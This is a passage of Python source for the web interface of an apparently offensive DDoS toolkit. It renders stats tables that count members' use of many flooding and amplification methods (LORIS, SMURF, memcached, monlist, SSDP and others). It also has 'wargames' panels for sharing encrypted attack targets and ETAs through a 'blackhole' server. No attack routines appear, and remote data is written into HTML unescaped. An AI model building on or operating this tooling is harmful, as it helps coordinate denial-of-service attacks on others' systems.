  1145. grid_contact = "<a href=javascript:alert('"+str(m[14][0:12])+"');>View</a>" # js contact view (obfuscation)
  1146. except:
  1147. grid_contact= "invalid"
  1148. try:
  1149. grid_id = m[15] # id (plain id)
  1150. except:
  1151. grid_id = "invalid!"
  1152. elif version == 12: # v1.1
  1153. grid_loris = m[9][0:4] # loris
  1154. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  1155. grid_ufosyn = m[10][0:4] # ufosyn
  1156. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  1157. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present
  1158. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  1159. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present
  1160. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  1161. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present
  1162. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  1163. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  1164. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  1165. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  1166. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  1167. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  1168. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  1169. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
  1170. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  1171. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
  1172. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  1173. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
  1174. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  1175. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
  1176. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  1177. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
  1178. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  1179. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
  1180. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  1181. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
  1182. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
  1183. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
  1184. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  1185. grid_contact = "<a href=javascript:alert('"+str(m[11][0:12])+"');>View</a>" # js contact view (obfuscation)
  1186. try:
  1187. grid_id = m[12] # id (plain id)
  1188. except:
  1189. grid_id = "invalid!"
  1190. elif version == 11: # v1.0
  1191. grid_loris = m[9][0:4] # loris
  1192. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  1193. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufosyn present
  1194. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  1195. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present
  1196. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  1197. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present
  1198. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  1199. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present
  1200. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  1201. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  1202. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  1203. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  1204. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  1205. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  1206. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  1207. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
  1208. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  1209. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
  1210. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  1211. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
  1212. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  1213. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
  1214. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  1215. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
  1216. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  1217. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
  1218. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  1219. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
  1220. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
  1221. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
  1222. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  1223. grid_contact = "<a href=javascript:alert('"+str(m[10][0:12])+"');>View</a>" # js contact view (obfuscation)
  1224. try:
  1225. grid_id = m[11] # id (plain id)
  1226. except:
  1227. grid_id = "invalid!"
  1228. elif version == 10: # v0.9
  1229. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not loris present
  1230. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  1231. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufosyn present
  1232. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  1233. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present
  1234. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  1235. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present
  1236. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  1237. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present
  1238. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  1239. grid_nuke = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not nuke present
  1240. grid_nuke = ''.join(random.sample(grid_nuke,len(grid_nuke))) # nuke (obfuscation)
  1241. grid_tachyon = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not tachyon present
  1242. grid_tachyon = ''.join(random.sample(grid_tachyon,len(grid_tachyon))) # tachyon (obfuscation)
  1243. grid_monlist = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not monlist present
  1244. grid_monlist = ''.join(random.sample(grid_monlist,len(grid_monlist))) # monlist (obfuscation)
  1245. grid_fraggle = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not fraggle present
  1246. grid_fraggle = ''.join(random.sample(grid_fraggle,len(grid_fraggle))) # fraggle (obfuscation)
  1247. grid_sniper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not sniper present
  1248. grid_sniper = ''.join(random.sample(grid_sniper,len(grid_sniper))) # sniper (obfuscation)
  1249. grid_ufoack = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoack present
  1250. grid_ufoack = ''.join(random.sample(grid_ufoack,len(grid_ufoack))) # ufoack (obfuscation)
  1251. grid_uforst = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not uforst present
  1252. grid_uforst = ''.join(random.sample(grid_uforst,len(grid_uforst))) # uforst (obfuscation)
  1253. grid_droper = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not droper present
  1254. grid_droper = ''.join(random.sample(grid_droper,len(grid_droper))) # droper (obfuscation)
  1255. grid_overlap = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not overlap present
  1256. grid_overlap = ''.join(random.sample(grid_overlap,len(grid_overlap))) # overlap (obfuscation)
  1257. grid_pinger = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not pinger present
  1258. grid_pinger = ''.join(random.sample(grid_pinger,len(grid_pinger))) # pinger (obfuscation)
  1259. grid_ufoudp = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufoudp present
  1260. grid_ufoudp = ''.join(random.sample(grid_ufoudp,len(grid_ufoudp))) # ufoudp (obfuscation)
  1261. grid_contact = "<a href=javascript:alert('"+str(m[9][0:12])+"');>View</a>" # js contact view (obfuscation)
  1262. try:
  1263. grid_id = m[10] # id (plain id)
  1264. except:
  1265. grid_id = "invalid!"
  1266. else: # no valid version
  1267. pass
  1268. grid_table += "<tr><td align='center'>"+str(grid_nickname)+"</td><td align='center'>"+str(grid_ranking)+"</td><td align='center'>"+str(grid_totalchargo)+"</td><td align='center'>"+str(grid_dorking)+"</td><td align='center'>"+str(grid_transferred)+"</td><td align='center'>"+str(grid_maxchargo)+"</td><td align='center'>"+str(grid_missions)+"</td><td align='center'>"+str(grid_attacks)+"</td><td align='center'>"+str(grid_loic)+"</td><td align='center'>"+str(grid_loris)+"</td><td align='center'>"+str(grid_ufosyn)+"</td><td align='center'>"+str(grid_spray)+"</td><td align='center'>"+str(grid_smurf)+"</td><td align='center'>"+str(grid_xmas)+"</td><td align='center'>"+str(grid_nuke)+"</td><td align='center'>"+str(grid_tachyon)+"</td><td align='center'>"+str(grid_monlist)+"</td><td align='center'>"+str(grid_fraggle)+"</td><td align='center'>"+str(grid_sniper)+"</td><td align='center'>"+str(grid_ufoack)+"</td><td align='center'>"+str(grid_uforst)+"</td><td align='center'>"+str(grid_droper)+"</td><td align='center'>"+str(grid_overlap)+"</td><td align='center'>"+str(grid_pinger)+"</td><td align='center'>"+str(grid_ufoudp)+"</td><td align='center'>"+str(grid_memcached)+"</td><td align='center'>"+str(grid_chargen)+"</td><td align='center'>"+str(grid_cldap)+"</td><td align='center'>"+str(grid_ssdp)+"</td><td align='center'>"+str(grid_qotd)+"</td><td align='center'>"+str(grid_tftp)+"</td><td align='center'>"+str(grid_wsdisco)+"</td><td align='center'>"+str(grid_coap)+"</td><td align='center'>"+str(grid_mssql)+"</td><td align='center'>"+str(grid_arms)+"</td><td align='center'>"+str(grid_plex)+"</td><td align='center'>"+str(grid_netbios)+"</td><td align='center'>"+str(grid_ripv1)+"</td><td align='center'>"+str(grid_middlebox)+"</td><td align='center'>"+str(grid_slowread)+"</td><td align='center'>"+str(grid_goldeneye)+"</td><td align='center'>"+str(grid_rapidreset)+"</td><td align='center'>"+str(grid_finflood)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
  1269. else: # not valid stream data
  1270. pass
  1271. grid_table += "</table>"
  1272. if mothership_members == 0:
  1273. mothership_members = "¿?"
  1274. if unknown_members == 0:
  1275. unknown_members = "¿?"
  1276. l = time.ctime(os.path.getmtime(self.grid_file)) # get last modified time
  1277. mother_grid = "<div id='grid_panel_enc' style='display:block'><br><center><u>MOTHERSHIP STATS:</u> (Last Update: <font color='green'>"+str(l)+"</font>)</center><br><table cellpadding='5' cellspacing='5' border='1' align='middle'><tr><td><font color='green'>MEMBERS:</font></td><td align='right'><font color='green'>"+str(mothership_members)+"</font></td><td><font color='orange' size='4'>-</font></td><td><font color='orange'>"+str(unknown_members)+"</font></td><td><font color='white' size='4'>*</font></td><td><font color='white'>¿?</font></td><td><font color='cyan' size='4'>**</font></td><td><font color='cyan'>¿?</font></td><td><font color='blueviolet' size='4'>***</font></td><td><font color='blueviolet'>¿?</font></td><td><font color='blue' size='4'>****</font></td><td><font color='blue'>¿?</font></td><td><font color='red' size='4'>&#x25BC;</font></td><td><font color='red'>¿?</font></td></tr></table><br><table cellpadding='5' cellspacing='5' border='1' align='middle'><tr><tr><td>MISSIONS:</td><td>¿?</td><td>ATTACKS:</td><td>¿?</td><td>CHARGO (ACTIVE!):</td><td>¿?</td><td>DORKING:</td><td>¿?</td><td>TRANSF:</td><td>¿?</td><td>MAX.CHARGO:</td><td>¿?</td></tr></table><br><table cellpadding='5' cellspacing='5' border='1' align='middle'><tr><td>LOIC:</td><td>¿?</td><td>LORIS:</td><td>¿?</td><td>UFOSYN:</td><td>¿?</td><td>SPRAY:</td><td>¿?</td><td>SMURF:</td><td>¿?</td></tr><tr><td>XMAS:</td><td>¿?</td><td>NUKE:</td><td>¿?</td><td>TACHYON:</td><td>¿?</td><td>MONLIST:</td><td>¿?</td></tr><tr><td>FRAGGLE:</td><td>¿?</td><td>SNIPER:</td><td>¿?</td><td>UFOACK:</td><td>¿?</td><td>UFORST:</td><td>¿?</td></tr><tr><td>DROPER:</td><td>¿?</td><td>OVERLAP:</td><td>¿?</td><td>PINGER:</td><td>¿?</td><td>UFOUDP:</td><td>¿?</td></tr><tr><td>MEMCACHED:</td><td>¿?</td><td>CHARGEN:</td><td>¿?</td><td>CLDAP:</td><td>¿?</td><td>SSDP:</td><td>¿?</td></tr><tr><td>QOTD:</td><td>¿?</td><td>TFTP:</td><td>¿?</td><td>WSDISCO:</td><td>¿?</td><td>COAP:</td><td>¿?</td></tr><tr><td>MSSQL:</td><td>¿?</td><td>ARMS:</td><td>¿?</td><td>PLEX:</td><td>¿?</td><td>NETBIOS:</td><td>¿?</td></tr><tr><td>RIPV1:</td><td>¿?</td><td>MIDDLEBOX:</td><td>¿?</td><td>SLOWREAD:</td><td>¿?</td><td>GOLDENEYE:</td><td>¿?</td></tr><tr><td>RAPIDRESET:</td><td>¿?</td><td>FINFLOOD:</td><td>¿?</td></tr></table><br><hr><br>"
  1278. grid_table = mother_grid + grid_table + "</div>"
  1279. return grid_table
  1280. def html_grid(self):
  1281. if self.ranking == "Rookie": # Rookie
  1282. your_ranking = "<font color='white'>Rookie [*]</font>"
  1283. elif self.ranking == "Mercenary": # Mercenary
  1284. your_ranking = "<font color='cyan'>Mercenary [**]</font>"
  1285. elif self.ranking == "Bandit": # Bandit
  1286. your_ranking = "<font color='blueviolet'>Bandit [***]</font>"
  1287. elif self.ranking == "UFOmmander!": # UFOmmander!
  1288. your_ranking = "<font color='blue'>UFOmmander! [****]</font>"
  1289. elif self.ranking == "UFOl33t!": # UFOl33t!
  1290. your_ranking = "<font color='red'>UFOl33t! [&#x25BC;]</font>"
  1291. else:
  1292. your_ranking = "<font color='yellow' size='4'>[-]</font> ( no0b! )" # no0b hacking attempt! ;-)
  1293. if '"grid_token": "NONE"' in open(self.mothership_gridcfg_file).read():
  1294. device_state = "OFF"
  1295. device = "GRID device: <font color='red'>OFF</font><br>"
  1296. else:
  1297. device_state = "ON"
  1298. gridcfg_json_file = open(self.mothership_gridcfg_file, "r") # extract mothership gridcfg
  1299. data = json.load(gridcfg_json_file)
  1300. gridcfg_json_file.close()
  1301. grid_token = data["grid_token"]
  1302. grid_contact = data["grid_contact"]
  1303. grid_contact.encode('utf-8')
  1304. grid_nick = data["grid_nick"]
  1305. grid_nick.encode('utf-8')
  1306. device = "<table cellpadding='5'><tr><td> -CONTACT: "+str(grid_contact)+"</td></tr><tr><td> -NICKNAME: "+str(grid_nick)+"</td></tr><tr><td> -RANKING: "+str(your_ranking)+"</td></tr><tr><td> -ID: "+str(grid_token)+"</td></tr></table>"
  1307. if device_state == "OFF":
  1308. grid_panel = ""
  1309. else:
  1310. grid_table = self.generate_grid()
  1311. grid_panel = grid_table + "<br><div id='cmdOut'></div><br></center><center>"
  1312. if device_state == "OFF":
  1313. dec_panel = ""
  1314. else:
  1315. dec_panel = "<table cellpading='5' cellspacing='10'><tr><td><form method='GET'>Your key: <input type='text' name='grid_key' id='grid_key' size='20' value='"+ str(self.crypto_key) +"'></td><td><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_grid();>Try decryption!</a></form></td></tr></table>"
  1316. if device_state == "OFF":
  1317. sync_panel = ""
  1318. else:
  1319. sync_panel = "<table cellpadding='2' cellspacing='2'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='grid_source' id='grid_source' size='20' value='"+default_blackhole+"'></td></tr></table></td><td><button title='Search for records on that blackhole...' onclick='SyncGrid()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Sync device...</button></td></tr></table><hr>"
  1320. if device_state == "OFF":
  1321. transfer_panel = ""
  1322. else:
  1323. transfer_panel = "<form method='GET'><table cellpadding='5' cellspacing='5'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='grid_source_upload' id='grid_source_upload' size='20' value='"+default_blackhole+"'></td></tr><tr><td>Key (encryption):</td><td><input type='text' name='grid_key_upload' id='grid_key_upload' size='20' value='"+ str(self.crypto_key) +"'></td></tr></table></td><td><button title='Upload stats of your mothership to the Grid of that blackhole...' onclick='TransferGrid()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Transfer data...</button></td></tr></table></form><hr>"
  1324. if device_state == "OFF":
  1325. remove_grid = ""
  1326. else:
  1327. remove_grid = '| <button title="Review your mothership stats..." onclick="Stats()">STATS!</button> | <button title="Syncronize data from a blackhole/grid with your device..." onclick="Sync_panel()">DOWNLOAD!</button> | <button title="Decrypt data with a specific key..." onclick="Decryption_panel()">DECRYPT!</button> | <button title="Send your data to a global blackhole/grid..." onclick="Transfer_panel()">UPLOAD!</button> | <button title="Remove your profile and turn OFF this device..." onclick="RemoveGrid()">TURN OFF!</button>'
  1328. return self.pages["/header"] + """<script language="javascript">
  1329. function GridProfile() {
  1330. var win_grid_profile = window.open("grid_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1331. }
  1332. function RemoveGrid() {
  1333. var win_grid_profile = window.open("grid_remove","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1334. }
  1335. function Stats() {
  1336. var win_grid_profile = window.open("stats","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  1337. }
  1338. function Sync_panel(){
  1339. document.getElementById("sync_panel_block").style.display = "block";
  1340. document.getElementById("dec_panel").style.display = "none";
  1341. document.getElementById("transfer_panel").style.display = "none";
  1342. }
  1343. function SyncGrid(){
  1344. grid_source=document.getElementById("grid_source").value
  1345. if(grid_source == "") {
  1346. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1347. return
  1348. }else{
  1349. params="grid_source="+escape(grid_source)
  1350. runCommandX("cmd_sync_grid",params)
  1351. setTimeout("location.reload()", 10000)
  1352. }
  1353. }
  1354. function Transfer_panel(){
  1355. document.getElementById("transfer_panel").style.display = "block";
  1356. document.getElementById("sync_panel_block").style.display = "none";
  1357. document.getElementById("dec_panel").style.display = "none";
  1358. }
  1359. function TransferGrid() {
  1360. grid_source=document.getElementById("grid_source_upload").value
  1361. grid_key=document.getElementById("grid_key_upload").value
  1362. if(grid_source == "") {
  1363. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1364. return
  1365. }else{
  1366. if(grid_key == "") {
  1367. window.alert("You need to enter a valid key (provided by someone)");
  1368. return
  1369. }else{
  1370. params="grid_source="+escape(grid_source)+"&grid_key="+escape(grid_key)
  1371. runCommandX("cmd_transfer_grid",params)
  1372. setTimeout("location.reload()", 10000)
  1373. }
  1374. }
  1375. }
  1376. function Decryption_panel(){
  1377. document.getElementById("dec_panel").style.display = "block";
  1378. document.getElementById("transfer_panel").style.display = "none";
  1379. document.getElementById("sync_panel_block").style.display = "none";
  1380. }
  1381. function Decrypt_grid(){
  1382. grid_key=document.getElementById("grid_key").value
  1383. if(grid_key == "") {
  1384. window.alert("You need to enter a valid key (provided by someone)");
  1385. return
  1386. }else{
  1387. params="grid_key="+escape(grid_key)
  1388. runCommandX("cmd_decrypt_grid",params)
  1389. panel_enc = document.getElementById("grid_panel_enc").style.display
  1390. if(panel_enc == "block"){
  1391. panel_enc = document.getElementById("grid_panel_enc").style.display = 'none';
  1392. }
  1393. }
  1394. }
  1395. function GridFilter(filter, key){
  1396. params="filter="+escape(filter)+"&key="+escape(key)
  1397. runCommandX("cmd_grid_filter", params)
  1398. setTimeout("Decrypt_grid()", 2000)
  1399. }
  1400. </script>
  1401. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  1402. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  1403. <br><center>
  1404. <table cellpadding="5" cellspacing="5"><tr>
  1405. <td><a href="javascript:alert('7337-VH13 says: """ + self.ranking + """... Welcome to the Crypto-Grid!. A good place to represent our Federation.');"><img src='data:image/png;base64,"""+self.alien6_img+"""'></a></td><td>
  1406. <table cellpading="5" cellspacing="10"><tr><td>"""+device+"""<br><button title="Set your profile for this device..." onclick="GridProfile()">CONFIGURE!</button> """+remove_grid+"""</td></tr></table></tr></table>
  1407. <hr><div id='sync_panel_block' name='sync_panel_block' style='display:none;'>"""+sync_panel+"""</div><div id='transfer_panel' name='transfer_panel' style='display:none;'>"""+transfer_panel+"""</div><div id="dec_panel" style="display:none;">"""+dec_panel+"""<hr></div>"""+grid_panel+"""
  1408. """ + self.pages["/footer"]
  1409. def generate_wargames(self):
  1410. with open(self.wargames_file) as f:
  1411. for line in f:
  1412. line = line.strip()
  1413. f.close()
  1414. wargames_table = "<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>CREATION:</u></td><td align='center'><u>TARGET:</u></td><td align='center'><u>DATE:</u></td><td align='center'><u>ETA:</u></td><td align='center'><u>STATUS:</u></td></tr>"
  1415. for m in self.list_wargames: # list = creation, target, estimated
  1416. if wargames_msg_sep in m:
  1417. m = m.split(wargames_msg_sep)
  1418. wargame_creation = m[0][0:12] # creation date
  1419. wargame_creation = ''.join(random.sample(wargame_creation,len(wargame_creation))) # creation date (obfuscation)
  1420. wargame_target = m[1][0:12] # target (obfuscation)
  1421. wargame_target = ''.join(random.sample(wargame_target,len(wargame_target))) # target (obfuscation)
  1422. wargame_estimated = m[2][0:12] # estimated date
  1423. wargame_estimated = ''.join(random.sample(wargame_estimated,len(wargame_estimated))) # estimated date (obfuscation)
  1424. wargame_state = str("HSvtfBFwQBSms8h/7Ra/tKGNYp7KqiiNeOMPzDmrChJqyBJ+yuRiHpY9H+/LDQ==")[0:12] # state ("ENCRYPTED!")
  1425. wargame_state = ''.join(random.sample(wargame_state,len(wargame_state))) # state (obfuscation)
  1426. wargame_status = wargame_state # status (obfuscated like state)
  1427. wargames_table += "<tr><td align='center'>"+str(wargame_creation)+"</td><td align='center'>"+str(wargame_target)+"</td><td align='center'>"+str(wargame_estimated)+"</td><td align='center'>"+str(wargame_state)+"</td><td align='center'>"+str(wargame_status)+"</td></tr>"
  1428. wargames_table += "</table>"
  1429. mother_wargame = "<div id='wargames_panel_enc' style='display:block'>"
  1430. wargames_table = mother_wargame + wargames_table + "</div>"
  1431. return wargames_table
  1432. def html_wargames(self):
  1433. l = time.ctime(os.path.getmtime(self.wargames_file)) # get last modified time
  1434. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  1435. wargames_table = self.generate_wargames()
  1436. return self.pages["/header"] + """<script language="javascript">
  1437. function Decrypt_wargames(){
  1438. wargames_deckey=document.getElementById("wargames_deckey").value
  1439. if(wargames_deckey == "") {
  1440. window.alert("You need to enter a valid key (provided by someone)");
  1441. return
  1442. }else{
  1443. params="wargames_deckey="+escape(wargames_deckey)
  1444. runCommandX("cmd_decrypt_wargames",params)
  1445. panel_enc = document.getElementById("wargames_panel_enc").style.display
  1446. if(panel_enc == "block"){
  1447. panel_enc = document.getElementById("wargames_panel_enc").style.display = 'none';
  1448. }
  1449. }
  1450. }
  1451. function SyncWargames(){
  1452. wargames_source=document.getElementById("wargames_source").value
  1453. if(wargames_source == "") {
  1454. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1455. return
  1456. }else{
  1457. params="wargames_source="+escape(wargames_source)
  1458. runCommandX("cmd_sync_wargames",params)
  1459. setTimeout("location.reload()", 10000)
  1460. }
  1461. }
  1462. function Send() {
  1463. wargames_source2=document.getElementById("wargames_source2").value
  1464. wargames_enckey=document.getElementById("wargames_enckey").value
  1465. wargames_target=document.getElementById("wargames_target").value
  1466. wargames_estimated=document.getElementById("wargames_estimated").value
  1467. if(wargames_source2 == "") {
  1468. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  1469. return
  1470. }else{
  1471. if(wargames_enckey == "") {
  1472. window.alert("You need to enter a valid key (provided by someone)");
  1473. return
  1474. }else{
  1475. params="wargames_source2="+escape(wargames_source2)+"&wargames_enckey="+escape(wargames_enckey)+"&wargames_target="+escape(wargames_target)+"&wargames_estimated="+escape(wargames_estimated)
  1476. runCommandX("cmd_transfer_wargame",params)
  1477. setTimeout("location.reload()", 10000)
  1478. }
  1479. }
  1480. }
  1481. function JobRemove(id) {
  1482. params="id="+escape(id)
  1483. runCommandX("cmd_job_remove",params)
  1484. setTimeout("Decrypt_wargames()", 2000)
  1485. }
  1486. function JobAdd(id) {
  1487. params="id="+escape(id)
  1488. runCommandX("cmd_job_add", params)
  1489. setTimeout("Decrypt_wargames()", 2000)
  1490. }
  1491. function JobAddAll() {
